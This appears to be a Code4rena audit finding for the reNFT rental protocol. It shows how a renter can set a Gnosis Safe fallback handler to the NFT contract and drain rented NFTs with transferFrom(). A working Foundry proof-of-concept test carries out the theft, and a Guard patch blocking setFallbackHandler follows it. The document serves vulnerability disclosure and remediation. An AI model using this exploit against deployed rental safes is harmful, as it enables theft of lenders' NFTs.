reNFT - israeladelaja's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Factory.sol#L167

Vulnerability details

Impact

reNFT ensures that users who want to rent NFTs have created a Gnosis Safe Wallet that will hold the NFT/s throughout the duration of the rental. These rental safes are created through a reNFT policy smart contract called Factory in Factory.sol. This contract contains a function called deployRentalSafe() that renters call to create a rental safe which is marked as the recipient of the NFT/s in the Seaport Order. An important invariant of this system is that "ERC721 / ERC1155 tokens cannot leave a rental wallet via approve(), setApprovalForAll(), safeTransferFrom(), transferFrom(), or safeBatchTransferFrom()" as taken from the competition page, however this invariant is proven to be untrue. Gnosis Safe contains a contract called FallbackManager which is inherited by the Gnosis Safe master copy and allows Gnosis Safe owners to set a fallback handler. If a function is called on the safe that doesn't exist in the master copy, this fallback handler will be called from the safe with the same calldata. This allows the rental safe owner to set the fallback handler to an NFT contract address and simply call any function directly on the rental safe such as transferFrom() to steal the NFTs from the safe.

Proof of Concept

This is the FallbackManager.sol contract from the Gnosis Safe codebase: https://github.com/safe-global/safe-contracts/blob/main/contracts/base/FallbackManager.sol which is inherited by the Gnosis Safe master copy:

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;

import {SelfAuthorized} from "../common/SelfAuthorized.sol";

/**
 * @title Fallback Manager - A contract managing fallback calls made to this contract
 * @author Richard Meissner - @rmeissner
 */
abstract contract FallbackManager is SelfAuthorized {
    event ChangedFallbackHandler(address indexed handler);

    // keccak256("fallback_manager.handler.address")
    bytes32 internal constant FALLBACK_HANDLER_STORAGE_SLOT = 0x6c9a6c4a39284e37ed1cf53d337577d14212a4870fb976a4366c693b939918d5;

    /**
     *  @notice Internal function to set the fallback handler.
     *  @param handler contract to handle fallback calls.
     */
    function internalSetFallbackHandler(address handler) internal {
        /*
            If a fallback handler is set to self, then the following attack vector is opened:
            Imagine we have a function like this:
            function withdraw() internal authorized {
                withdrawalAddress.call.value(address(this).balance)("");
            }

            If the fallback method is triggered, the fallback handler appends the msg.sender address to the calldata and calls the fallback handler.
            A potential attacker could call a Safe with the 3 bytes signature of a withdraw function. Since 3 bytes do not create a valid signature,
            the call would end in a fallback handler. Since it appends the msg.sender address to the calldata, the attacker could craft an address 
            where the first 3 bytes of the previous calldata + the first byte of the address make up a valid function signature. The subsequent call would result in unsanctioned access to Safe's internal protected methods.
            For some reason, solidity matches the first 4 bytes of the calldata to a function signature, regardless if more data follow these 4 bytes.
        */
        if (handler == address(this)) revertWithError("GS400");

        /* solhint-disable no-inline-assembly */
        /// @solidity memory-safe-assembly
        assembly {
            sstore(FALLBACK_HANDLER_STORAGE_SLOT, handler)
        }
        /* solhint-enable no-inline-assembly */
    }

    /**
     * @notice Set Fallback Handler to `handler` for the Safe.
     * @dev Only fallback calls without value and with data will be forwarded.
     *      This can only be done via a Safe transaction.
     *      Cannot be set to the Safe itself.
     * @param handler contract to handle fallback calls.
     */
    function setFallbackHandler(address handler) public authorized {
        internalSetFallbackHandler(handler);
        emit ChangedFallbackHandler(handler);
    }

    // @notice Forwards all calls to the fallback handler if set. Returns 0 if no handler is set.
    // @dev Appends the non-padded caller address to the calldata to be optionally used in the handler
    //      The handler can make us of `HandlerContext.sol` to extract the address.
    //      This is done because in the next call frame the `msg.sender` will be FallbackManager's address
    //      and having the original caller address may enable additional verification scenarios.
    // solhint-disable-next-line payable-fallback,no-complex-fallback
    fallback() external {
        /* solhint-disable no-inline-assembly */
        /// @solidity memory-safe-assembly
        assembly {
            // When compiled with the optimizer, the compiler relies on a certain assumptions on how the
            // memory is used, therefore we need to guarantee memory safety (keeping the free memory point 0x40 slot intact,
            // not going beyond the scratch space, etc)
            // Solidity docs: https://docs.soliditylang.org/en/latest/assembly.html#memory-safety

            let handler := sload(FALLBACK_HANDLER_STORAGE_SLOT)

            if iszero(handler) {
                return(0, 0)
            }

            let ptr := mload(0x40)
            calldatacopy(ptr, 0, calldatasize())

            // The msg.sender address is shifted to the left by 12 bytes to remove the padding
            // Then the address without padding is stored right after the calldata
            mstore(add(ptr, calldatasize()), shl(96, caller()))

            // Add 20 bytes for the address appended add the end
            let success := call(gas(), handler, 0, ptr, add(calldatasize(), 20), 0, 0)

            returndatacopy(ptr, 0, returndatasize())
            if iszero(success) {
                revert(ptr, returndatasize())
            }
            return(ptr, returndatasize())
        }
        /* solhint-enable no-inline-assembly */
    }
}

As can be seen, a rental safe owner through a standard Gnosis Safe transaction can call setFallbackHandler() (as this function is not blocked by the reNFT Guard.checkTransaction()) and set the fallback handler to the NFT contract address they want to steal. Then they can simply call transferFrom() or any other similar function of the ERC721 or ERC1155 standard directly on the safe, which will eventually hit the fallback() function of the FallbackManager contract and allow the rental safe owner to remove the NFTs out of the safe.

Clone the github repo with git clone https://github.com/code-423n4/2024-01-renft.git --recurse and run cd smart-contracts. Then paste the following test file in /test and run forge test --mt test_StealThroughFallback:

// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {Order, OfferItem, ItemType} from "@seaport-types/lib/ConsiderationStructs.sol";
import {IERC721} from "@openzeppelin-contracts/interfaces/IERC721.sol";
import {
    OrderType,
    OrderMetadata,
    RentalOrder
} from "@src/libraries/RentalStructs.sol";
import {Errors} from "@src/libraries/Errors.sol";

import {BaseTest} from "@test/BaseTest.sol";
import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol";
import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {console} from "forge-std/console.sol";
import {FallbackManager} from "@safe-contracts/base/FallbackManager.sol";

contract StealThroughFallbackPOC is BaseTest {

    // token which will be rented
    MockERC721 public nftContract;

    function setUp() public override {
        super.setUp();

        // NFT contract for rental
        nftContract = erc721s[0];
    }

    // Helper function to start a rental using the NFT token
    function _startRental(
        uint256 tokensToRent
    ) internal returns (RentalOrder memory rentalOrder) {
        // create a BASE order where a lender offers the NFTs in
        // exchange for some erc20 tokens
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: tokensToRent,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: bob,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // finalize the base order fulfillment. This executes the token swap
        // and starts the rental.
        rentalOrder = finalizeBaseOrderFulfillment();
    }

    function test_StealThroughFallback() public {

        // start the rental.
        _startRental(1);

        // create safe transaction that sets fallback handler to NFT token
        bytes memory transaction = abi.encodeWithSelector(FallbackManager.setFallbackHandler.selector, address(nftContract));

        // sign the safe transaction
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(bob.safe),
            bob.privateKey,
            address(bob.safe),
            transaction
        );

        // impersonate the safe owner
        vm.prank(bob.addr);

        // execute transaction that sets fallback handler to NFT token
        SafeUtils.executeTransaction(
            address(bob.safe),
            address(bob.safe),
            transaction,
            transactionSignature
        );

        assert(nftContract.balanceOf(address(bob.safe)) == 1);
        assert(nftContract.balanceOf(address(bob.addr)) == 0);

        // call the transferFrom() function directly on the rental safe which will hit the fallback function of FallbackManager
        MockERC721 safeERC721 = MockERC721(address(bob.safe));
        safeERC721.transferFrom(address(bob.safe), bob.addr, 0);

        assert(nftContract.balanceOf(address(bob.safe)) == 0);
        assert(nftContract.balanceOf(address(bob.addr)) == 1);
    }

}

As can be seen, by setting the fallback handler of the rental safe, NFTs can be stolen from the rental safe by directly calling the safe with a function such as transferFrom().

Tools Used

Manual Review.

Recommended Mitigation Steps

The mitigation is simple, in the Guard.checkTransaction() function it needs to check that the FallbackManager.setFallbackHandler() of Gnosis Safe is not called. In the /smart-contracts/src/libraries/RentalConstants.sol file:

/////////////////////////////////////////////////////////////////////////////////
//                  Gnosis Safe Function Selectors And Offsets                 //
/////////////////////////////////////////////////////////////////////////////////

// bytes4(keccak256("setGuard(address)"));
bytes4 constant gnosis_safe_set_guard_selector = 0xe19a9dd9;

// bytes4(keccak256("enableModule(address)"));
bytes4 constant gnosis_safe_enable_module_selector = 0x610b5925;

// bytes4(keccak256("disableModule(address,address)"));
bytes4 constant gnosis_safe_disable_module_selector = 0xe009cfde;

+ // bytes4(keccak256("setFallbackHandler(address)"));
+ bytes4 constant gnosis_safe_set_fallback_handler_selector = 0xf08a0323;

then in the /smart-contracts/src/policies/Guard.sol file:

import {
    shared_set_approval_for_all_selector,
    e721_approve_selector,
    e721_safe_transfer_from_1_selector,
    e721_safe_transfer_from_2_selector,
    e721_transfer_from_selector,
    e721_approve_token_id_offset,
    e721_safe_transfer_from_1_token_id_offset,
    e721_safe_transfer_from_2_token_id_offset,
    e721_transfer_from_token_id_offset,
    e1155_safe_transfer_from_selector,
    e1155_safe_batch_transfer_from_selector,
    e1155_safe_transfer_from_token_id_offset,
    e1155_safe_batch_transfer_from_token_id_offset,
    gnosis_safe_set_guard_selector,
    gnosis_safe_enable_module_selector,
    gnosis_safe_disable_module_selector,
+   gnosis_safe_set_fallback_handler_selector,
    gnosis_safe_enable_module_offset,
    gnosis_safe_disable_module_offset
} from "@src/libraries/RentalConstants.sol";
import {Errors} from "@src/libraries/Errors.sol";

and also in the /smart-contracts/src/policies/Guard.sol file in the _checkTransaction() internal function:

        } else {
            // Revert if the `setApprovalForAll` selector is specified. This selector is
            // shared between ERC721 and ERC1155 tokens.
            if (selector == shared_set_approval_for_all_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    shared_set_approval_for_all_selector
                );
            }

            // Revert if the `safeBatchTransferFrom` selector is specified. There's no
            // cheap way to check if individual items in the batch are rented out.
            // Each token ID would require a call to the storage contract to check
            // its rental status.
            if (selector == e1155_safe_batch_transfer_from_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    e1155_safe_batch_transfer_from_selector
                );
            }

            // Revert if the `setGuard` selector is specified.
            if (selector == gnosis_safe_set_guard_selector) {
                revert Errors.GuardPolicy_UnauthorizedSelector(
                    gnosis_safe_set_guard_selector
                );
            }

+           // Revert if the `setFallbackHandler` selector is specified.
+           if (selector == gnosis_safe_set_fallback_handler_selector) {
+               revert Errors.GuardPolicy_UnauthorizedSelector(
+                   gnosis_safe_set_fallback_handler_selector
+               );
+           }
       }

this way the rental safe owner can not call FallbackManager.setFallbackHandler() and can not steal NFTs through this avenue.

Assessed type

call/delegatecall